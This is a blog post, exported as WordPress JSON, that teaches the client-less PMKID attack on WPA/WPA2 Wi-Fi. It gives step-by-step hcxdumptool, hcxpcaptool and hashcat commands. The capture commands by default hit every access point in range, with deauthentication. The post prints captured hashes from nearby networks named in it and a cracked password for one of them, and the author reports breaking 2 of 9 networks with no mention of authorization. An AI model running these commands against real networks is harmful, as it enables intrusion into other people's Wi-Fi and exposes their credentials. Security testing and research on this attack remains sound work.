{"id":2100,"date":"2018-10-01T12:53:24","date_gmt":"2018-10-01T12:53:24","guid":{"rendered":"https:\/\/miloserdov.org\/?p=2100"},"modified":"2022-02-16T09:31:47","modified_gmt":"2022-02-16T09:31:47","slug":"hacking-wi-fi-without-users","status":"publish","type":"post","link":"https:\/\/miloserdov.org\/?p=2100","title":{"rendered":"Hacking Wi-Fi without users"},"content":{"rendered":"<div class=\"0b20205ac99e89c6cabdb919fd9d1a8a\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"9942251718\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\r\n\r\n\n<\/div>\n<h2 style=\"text-align: justify;\">\n\tA new attack on Wi-Fi without Clients<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tThere are a lot of various <a href=\"https:\/\/miloserdov.org\/?tag=wireless\" rel=\"noopener\" target=\"_blank\">attacks on Wi-Fi<\/a>. The most universal attack (working on almost all access points) is the attack on WPA\/WPA2 technology, because it is used in the vast majority of wireless access points. When a Client connects to a WPA\/WPA2-enabled Access Point, EAPOL, security protocol, is used during which a step-by-step data exchange is performed between an Access Point and a Client that wants to connect. The essence of the attack lies in the fact that it is necessary to capture completely (or at least part) the transmitted data and find the appropriate password by brute-force. Simply put, you first need to capture a handshake (in the EAPOL phase), and then use brute-force attack to find the correct password.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAt each of these two stages there may be difficulties: problems with capturing a handshake can be caused by a variety of reasons, the most fatal of them is the absense of Clients. That is, if there are no connecting clients, then EAPOL protocol is not used, so there is nothing to intercept.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAt the hashcat.net forum (topic <a href=\"https:\/\/hashcat.net\/forum\/thread-7717.html\" rel=\"noopener\" target=\"_blank\">https:\/\/hashcat.net\/forum\/thread-7717.html<\/a>), a new method we found that allows you to get the data necessary for brute-force without having to capture a handshake. This new technique allows you to attack Wi-Fi passwords &#8211; WPA\/WPA2 PSK (Pre-Shared Key).\n<\/p>\n<p style=\"text-align: justify;\">\n\tWi-Fi technology uses variety implementations and many related technologies and solutions. Therefore, the method described here can work in not all cases &#8211; it depends on a vendor and its implementation features. In addition success may depend on the chip of your Wi-Fi adapter.\n<\/p>\n<p style=\"text-align: justify;\">\n\tFurther a little theoretical information from the forum, and then an example of a real successful attack according to this technology.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThis attack was discovered accidentally while looking for new ways to attack the new WPA3 security standard. WPA3 will be much harder to attack because of its modern key establishment protocol called &quot;Simultaneous Authentication of Equals&quot; (SAE).\n<\/p>\n<p style=\"text-align: justify;\">\n\tIt is not reported whether a new way of attacking WPA3 was found, but for WPA\/WPA2 PSK a new attack was invented, and the necessary tools were also prepared. The main difference from existing attacks is that in this attack, capture of a full EAPOL 4-way handshake is not required. The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single (the first) EAPOL frame.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAt this time, we do not know for which vendors or for how many routers this technique will work, but the authors think it will work against all 802.11i\/p\/q\/r networks with roaming functions enabled (most modern routers).\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn this list:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.wikipedia.org\/wiki\/IEEE_802.11i\" rel=\"noopener\" target=\"_blank\">IEEE 802.11i<\/a>: Enhanced security (2004)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.wikipedia.org\/wiki\/IEEE_802.11p\" rel=\"noopener\" target=\"_blank\">IEEE 802.11p<\/a>: WAVE&mdash;Wireless Access for the Vehicular Environment (such as ambulances and passenger cars) (July 2010)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.wikipedia.org\/wiki\/IEEE_802.11r\" rel=\"noopener\" target=\"_blank\">IEEE 802.11r<\/a>: Fast BSS transition (FT) (2008)\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tAnd in the list there is 802.11q &#8211; this standard is not used, the designation is reserved, the authors added it to this list for fun &#8211; to look at those who copy-paste texts without any verification.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe main advantages of this attack are as follow:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tNo more regular users required &#8211; because the attacker directly communicates with the AP (aka &quot;client-less&quot; attack)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more waiting for a complete 4-way handshake between the regular user and the AP\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more eventual retransmissions of EAPOL frames (which can lead to uncrackable results)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more eventual invalid passwords sent by the regular user\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more lost EAPOL frames when the regular user or the AP is too far away from the attacker\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more fixing of nonce and replaycounter values required (resulting in slightly higher speeds)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tNo more special output format (pcap, hccapx, etc.) &#8211; final data will appear as regular hex encoded string\n\t<\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\">\n\tAttack details<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tThe RSN IE is an optional field that can be found in 802.11 management frames. One of the RSN capabilities is the PMKID.\n<\/p>\n<p style=\"text-align: justify;\">\n\tExample RSN PMKID in the first message of a handshake:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2108\" height=\"1054\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31.png\" width=\"1057\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31.png 1057w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31-1000x997.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31-768x766.png 768w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/31-150x150.png 150w\" sizes=\"(max-width: 1057px) 100vw, 1057px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tOne more example:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/32.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2107\" height=\"885\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/32.png\" width=\"823\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/32.png 823w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/32-768x826.png 768w\" sizes=\"(max-width: 823px) 100vw, 823px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tEven one more example:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/33.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2106\" height=\"447\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/33.png\" width=\"590\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe PMKID is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label &quot;PMK Name&quot;, the access point&#39;s MAC address and the station&#39;s MAC address.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe calculation formula is as follows:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<strong>PMKID = HMAC-SHA1-128(PMK, &quot;PMK Name&quot; | MAC_AP | MAC_STA)<\/strong>\n<\/p>\n<p style=\"text-align: justify;\">\n\tSince the PMK is the same as in a regular EAPOL 4-way handshake this is an ideal attacking vector.\n<\/p>\n<p style=\"text-align: justify;\">\n\tWe receive all the data we need in the first EAPOL frame from the AP.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tPrograms for attack Wi-Fi without Clients in Kali Linux<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tFor this attack, you need three programs:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=841\" rel=\"noopener\" target=\"_blank\">hcxdumptool<\/a> v4.2.0 or higher &#8211; for capturing wireless frames\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=847\" rel=\"noopener\" target=\"_blank\">hcxtools<\/a> v4.2.0 or higher &#8211; to extract the data required for brute force\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=155\" rel=\"noopener\" target=\"_blank\">hashcat<\/a> v4.2.0 or higher for password brute-force\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tIt is quite simply to install hcxdumptool and hcxtools in Kali Linux:\n<\/p>\n<pre class=\"brush:bash;\">\r\n# install hcxdumptool\r\ngit clone https:\/\/github.com\/ZerBea\/hcxdumptool\r\ncd hcxdumptool\/\r\nmake\r\nsudo make install\r\ncd .. # up\r\n\r\n# install hcxtools\r\nsudo apt install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev\r\ngit clone https:\/\/github.com\/ZerBea\/hcxtools\r\ncd hcxtools\/\r\nmake\r\nsudo make install\r\ncd .. # up\r\n\r\nrm -rf hcxdumptool hcxtools # cleaning<\/pre>\n<p style=\"text-align: justify;\">\n\thashcat in Kali Linux is installed by default, but it also requires proprietary drivers. Installation of nVidia proprietary drivers:\n<\/p>\n<pre class=\"brush:bash;\">\r\napt update &amp;&amp; apt dist-upgrade -y\r\necho -e &quot;blacklist nouveau\\noptions nouveau modeset=0\\nalias nouveau off&quot; &gt; \/etc\/modprobe.d\/blacklist-nouveau.conf\r\nupdate-initramfs -u &amp;&amp; reboot\r\napt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit<\/pre>\n<h2 style=\"text-align: justify;\">\n\tPrograms for attack Wi-Fi without Clients in BlackArch<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\thcxdumptool and hcxtools in this distribution are present in the repository, so they are installed with one command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo pacman -S hcxdumptool hcxtools<\/pre>\n<p style=\"text-align: justify;\">\n\tHow to install Hashcat in Arch Linux\/BlackArch is explained <a href=\"https:\/\/miloserdov.org\/?p=1949#13\" rel=\"noopener\" target=\"_blank\">here<\/a>.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tAn example of a &ldquo;client-less&rdquo; attack on Wi-Fi<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tLet&#39;s start with the following command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo hcxdumptool -I<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/34.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2111\" height=\"210\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/34.png\" width=\"557\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tWith this command, we get a list of wlan interfaces:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tc0b6f9daaf3e <strong>wlo1<\/strong> (iwlwifi)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t00c0ca900d9f <strong>wlp0s20f0u1<\/strong> (rt2800usb)\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tAnd also two warnings:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\twarning: NetworkManager is running with pid <strong>578<\/strong>\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\twarning: wpa_supplicant is running with pid <strong>1190<\/strong>\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThey mean that the programs NetworkManager and wpa_supplicant with process IDs 578 and 1190 are running at the moment. It is highly recommended stopping these programs. This can be done with the <strong>kill<\/strong> command, after which specify the pid of processes (change the digits to your values):\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo kill 578 1190<\/pre>\n<p style=\"text-align: justify;\">\n\tIn theory, you do not need to set the Wi-Fi adapter to monitor mode &#8211; hcxdumptool should do it for you, but if the next command arises messages:\n<\/p>\n<pre class=\"brush:plain;\">\r\ninterface is not up\r\nfailed to init socket<\/pre>\n<p style=\"text-align: justify;\">\n\tthen set the wireless interface into monitor mode manually with commands of the form:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo ip link set &lt;interface&gt; down\r\nsudo iw dev &lt;interface&gt; set monitor control\r\nsudo ip link set &lt;interface&gt; up<\/pre>\n<p style=\"text-align: justify;\">\n\tFor example, I want to use the interface <strong>wlp0s20f0u1<\/strong>, then my commands look like this:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo ip link set wlp0s20f0u1 down\r\nsudo iw dev wlp0s20f0u1 set monitor control\r\nsudo ip link set wlp0s20f0u1 up<\/pre>\n<p style=\"text-align: justify;\">\n\tRun hcxdumptool to request the PMKID from the AP and to dump the received frames to a file (in pcapng format).\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo hcxdumptool -o test.pcapng -i wlp0s20f0u1 --enable_status 15<\/pre>\n<p style=\"text-align: justify;\">\n\tIn the previous command:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-o test.pcapng<\/strong> means to save the captured frames to the test.pcapng file of the pcapng format\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-i wlp0s20f0u1<\/strong> means to use Wi-Fi wlp0s20f0u1 interface\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>&#8211;enable_status 15<\/strong> means to enable real-time display of EAPOL, PROBEREQUEST\/PROBERESPONSE, AUTHENTICATON, ASSOCIATION &#8211; you can reduce verbality, see the help:&nbsp;<a href=\"https:\/\/en.kali.tools\/?p=841\" rel=\"noopener\" target=\"_blank\">https:\/\/en.kali.tools\/?p=841<\/a>\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThe above command attempts to collect data from all access points within reach, and both &ldquo;client-less&rdquo; attack and a classic deauthentication attack are used. If you want to collect PMKID without parallel deauthentication attack, then use the <strong>&#8211;disable_deauthentications<\/strong> option in addition.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAs already mentioned, by default all APs are attacked, if you want to attack only some or only one, then use the <strong>&#8211;filterlist=&lt;file&gt;<\/strong> option, in the &lt;file&gt; specify the list of MAC addresses (one per line). By default, these targets will NOT be attacked. If you want to attack ONLY the target from the list, then use the <strong>&#8211;filtermode=2<\/strong> option.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf you want to attack a specific access point and you know the channel number on which it works, you can specify the <strong>-c<\/strong> option, in addition to the <strong>&#8211;filterlist<\/strong> option (which specify one address) and the option <strong>&#8211;filtermode=2<\/strong>, after which write the channel number of an AP.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf the AP receives our packet with an association request and supports sending the PMKID, we will see the message <strong>[FOUND PMKID]<\/strong>. That is, if [FOUND PMKID] appears, then we have successfully received the PMKID for the access point.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/35.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2105\" height=\"607\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/35.png\" width=\"1166\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/35.png 1166w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/35-1000x521.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/35-768x400.png 768w\" sizes=\"(max-width: 1166px) 100vw, 1166px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn addition, from time to time, summary data appears, including a <strong>powned<\/strong> string, for example, <strong>powned=6<\/strong>:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/36.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2104\" height=\"605\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/36.png\" width=\"1160\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/36.png 1160w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/36-1000x522.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/36-768x401.png 768w\" sizes=\"(max-width: 1160px) 100vw, 1160px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThis means that data is captured for six (in my case) access points. This is not necessarily the PMKID &#8211; it also takes into account the usual handshakes (if the deauthentication attack was not previously disabled).\n<\/p>\n<p style=\"text-align: justify;\">\n\tDepending on the noise level of the wifi channel, it may take some time to receive the PMKID. The authors recommend running hcxdumptool up to 10 minutes. Data collection can work any time, usually 10 minutes is more than enough. To stop the capture, just press <strong>Ctrl+c<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tNow run hcxpcaptool to convert the captured data from the pcapng format to a hash format that hashcat accepts:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhcxpcaptool -z test.16800 test.pcapng<\/pre>\n<p style=\"text-align: justify;\">\n\tHere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>test.pcapng<\/strong>&nbsp;is a&nbsp;name of a file from which the data is extracted\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\toption <strong>-z<\/strong> means to save PMKID, followed by the name of the file.\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tData with details:\n<\/p>\n<pre class=\"brush:plain;\">\r\nstart reading from test.pcapng\r\n                                                 \r\nsummary:                                        \r\n--------\r\nfile name....................: test.pcapng\r\nfile type....................: pcapng 1.0\r\nfile hardware information....: x86_64\r\nfile os information..........: Linux 4.18.10-arch1-1-ARCH\r\nfile application information.: hcxdumptool 4.2.1\r\nnetwork type.................: DLT_IEEE802_11_RADIO (127)\r\nendianess....................: little endian\r\nread errors..................: flawless\r\npackets inside...............: 2974\r\nskipped packets..............: 0\r\npackets with FCS.............: 0\r\nbeacons (with ESSID inside)..: 51\r\nprobe requests...............: 18\r\nprobe responses..............: 24\r\nassociation requests.........: 74\r\nassociation responses........: 161\r\nreassociation requests.......: 3\r\nreassociation responses......: 43\r\nauthentications (OPEN SYSTEM): 2262\r\nauthentications (BROADCOM)...: 2244\r\nauthentications (APPLE)......: 17\r\nEAPOL packets................: 336\r\nEAPOL PMKIDs.................: 9\r\n \r\n9 PMKID(s) written to test.16800<\/pre>\n<p style=\"text-align: justify;\">\n\tA total of 9 PMKIDs were saved to the&nbsp;test.16800 file.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/37.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2110\" height=\"623\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/37.png\" width=\"677\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tA hash file is just a text file, you can open it with any text editor and examine it:\n<\/p>\n<pre class=\"brush:bash;\">\r\ngedit test.16800<\/pre>\n<p style=\"text-align: justify;\">\n\tThe contents of my file:\n<\/p>\n<pre class=\"brush:plain;\">\r\nf2d89d22949759168edf5fd0324764a7*cc4eece1ad58*008092b75244*4e50414145\r\nb3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245\r\na695c4e6a51c1590ea06a458a1860a24*403dec1a88a8*a8880854af50*52756e6763686169\r\n8a8e906b2fb33e0c66833e5efeb4dc8e*403dec187630*7429afe41473*747275655f686f6d6532475f343432\r\nbba899c7bd8719487377dd38a83a2648*403decc272b8*bc926b7c4e2c*5061616e676f6f6e5f3247\r\n5a2da74a1dbe085331dcd9af61a87f50*c88d833bea34*18e29fec7be3*57494e5645524e\r\ne33c525441bf7588c53966addb685a4c*98ded0be2346*fcc2333f478f*546f6e323534386661323535306b616932353133\r\n67661236088d31c937a4646ede4aa7bb*403decbeb114*fcc2333f478f*747275655f686f6d6532475f313036\r\n1bdb53c369ca8c470d9cc990440f056f*2c088c5a4862*60a4d0044de7*426f6f63687532<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/38.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2109\" height=\"360\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/38.png\" width=\"1026\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/38.png 1026w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/38-1000x351.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/38-768x269.png 768w\" sizes=\"(max-width: 1026px) 100vw, 1026px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIt seems that nothing is clear? In fact, everything is quite simple. The most interesting part of the hash for us is the one that follows the last asterisk. It contains the name of the Access Point in hexadecimal form. To decode this name into a normal form, use the following command:\n<\/p>\n<pre class=\"brush:bash;\">\r\necho HEX_string | xxd -r -p<\/pre>\n<p style=\"text-align: justify;\">\n\tFor example, I want to know the name that is coded as 50555245204655524e4954555245, then:\n<\/p>\n<pre class=\"brush:bash;\">\r\necho 50555245204655524e4954555245 | xxd -r -p<\/pre>\n<p style=\"text-align: justify;\">\n\tResult:\n<\/p>\n<pre class=\"brush:plain;\">\r\nPURE FURNITURE<\/pre>\n<p style=\"text-align: justify;\">\n\tTo show the names of all access points for which data is captured, use the command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nawk -F &quot;*&quot; &#39;{ system(&quot;echo &quot; $4 &quot; | xxd -r -p; echo&quot; ) }&#39; test.16800<\/pre>\n<p style=\"text-align: justify;\">\n\tIf necessary, replace the test.16800 file name with another one.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe columns are the following (all hex encoded):\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tPMKID\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tMAC AP\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tMAC Station\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tESSID\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tWhile not required it is recommended to use options <strong>-E<\/strong>, <strong>-I<\/strong>, and <strong>-U<\/strong> with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-E<\/strong> retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-I<\/strong> retrieve identities from WiFi-traffic\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-U<\/strong> retrieve usernames from WiFi-traffic\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThe command along with these options:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng<\/pre>\n<p style=\"text-align: justify;\">\n\tNew <strong>essidlist<\/strong> (mostly consisting of Access Point names, but there may be other very interesting strings), identitylist and usernamelist files may appear. Some files may not appear if nothing is found.\n<\/p>\n<p style=\"text-align: justify;\">\n\tNow we can lunch brute-force.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou can start dictionary attack or mask attack. You can attack all hashes in the file as well as separate ones.\n<\/p>\n<p style=\"text-align: justify;\">\n\tFor example, if I want to attack all hashes by dictionary attack, my command is as follows:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhashcat -m 16800 -a 0 -w 3 -o &quot;temp_cracked.txt&quot; test.16800 bin\/WiFi-autopwner\/dict\/rockyou_cleaned.txt<\/pre>\n<p style=\"text-align: justify;\">\n\tWhere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-m 16800<\/strong> is a hash type to attack (no need to change)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-a 0<\/strong> means dictionary attack\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-w 3<\/strong> means the use of an intensive load profile\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-o &quot;temp_cracked.txt&quot;<\/strong> means to save the hacked passwords in the temp_cracked.txt file\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>test.16800<\/strong> is a hash file\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>bin\/WiFi-autopwner\/dict\/rockyou_cleaned.txt<\/strong> is the path to the dictionary used for cracking\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tIf you want to crack only single hashes, then in the previous command, instead of the path to the hash file, specify the hash itself by taking it in quotation marks. For example, I want to crack a <strong>b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245<\/strong> hash, then my command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhashcat -m 16800 -a 0 -w 3 -o &quot;temp_cracked.txt&quot; &#39;b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245&#39; bin\/WiFi-autopwner\/dict\/rockyou_cleaned.txt<\/pre>\n<p style=\"text-align: justify;\">\n\tFor a mask attack, use the following command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhashcat -m 16800 -a 3 -w 3 -o &quot;temp2_cracked.txt&quot; test.16800 ?d?d?d?d?d?d?d?d<\/pre>\n<p style=\"text-align: justify;\">\n\tWhere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-m 16800<\/strong> is a hash type to attack (no need to change)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-a 3<\/strong> means a mask attack\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-w 3<\/strong> means the use of an intensive load profile\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-o &quot;temp2_cracked.txt&quot;<\/strong> means to save the hacked passwords in the temp2_cracked.txt file\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>test.16800<\/strong> is a hash file\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>?d?d?d?d?d?d?d?d<\/strong> is the mask for attack, it means a password of eight characters in length, consisting entirely of digits\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tIf you want to crack only single hashes, then in the previous command, instead of the path to the hash file, specify the hash itself by taking it in quotation marks. For example, I want to crack a <strong>b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245<\/strong> hash, then my command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhashcat -m 16800 -a 3 -w 3 -o &quot;temp2_cracked.txt&quot; &#39;b3304420b5100873aa23ee3fc2ab3244*d8fb5e49f484*9c04ebaaa33d*50555245204655524e4954555245&#39; ?d?d?d?d?d?d?d?d<\/pre>\n<p style=\"text-align: justify;\">\n\tIf the password is found, it will be displayed, and also saved in the file temp_cracked.txt or temp2_cracked.txt.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn this case, the records will have approximately the following form:\n<\/p>\n<pre class=\"brush:bash;\">\r\nfa9a5dd2fb9029bfc9f4d1bd4e384bfb*403decc272b8*7081eb739a56*5061616e676f6f6e5f3247:00001777<\/pre>\n<p style=\"text-align: justify;\">\n\tThat is, this is the original hash, after which a password is added in clear form through the colon. In this case, the password 00001777, in order to decode the name of the access point, the already familiar construction is used:\n<\/p>\n<pre class=\"brush:bash;\">\r\necho 5061616e676f6f6e5f3247 | xxd -r -p\r\nPaangoon_2G<\/pre>\n<p style=\"text-align: justify;\">\n\tThe results of the attack:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/39-1.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2113\" height=\"361\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/39-1.png\" width=\"765\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe first dictionary attack did not succeed. But the second mask attack hacked 2 of 9 passwords.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tConclusion<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tThis attack is an excellent addition to the already existing ones. With the help of it there is a real chance to get a password from completely &ldquo;hopeless&rdquo; Access Points (without clients and with disabled WPS).\n<\/p>\n<p style=\"text-align: justify;\">\n\tSee also &lsquo;<a href=\"https:\/\/miloserdov.org\/?p=2122\" rel=\"noopener\" target=\"_blank\">Hacking Wi-Fi without users in 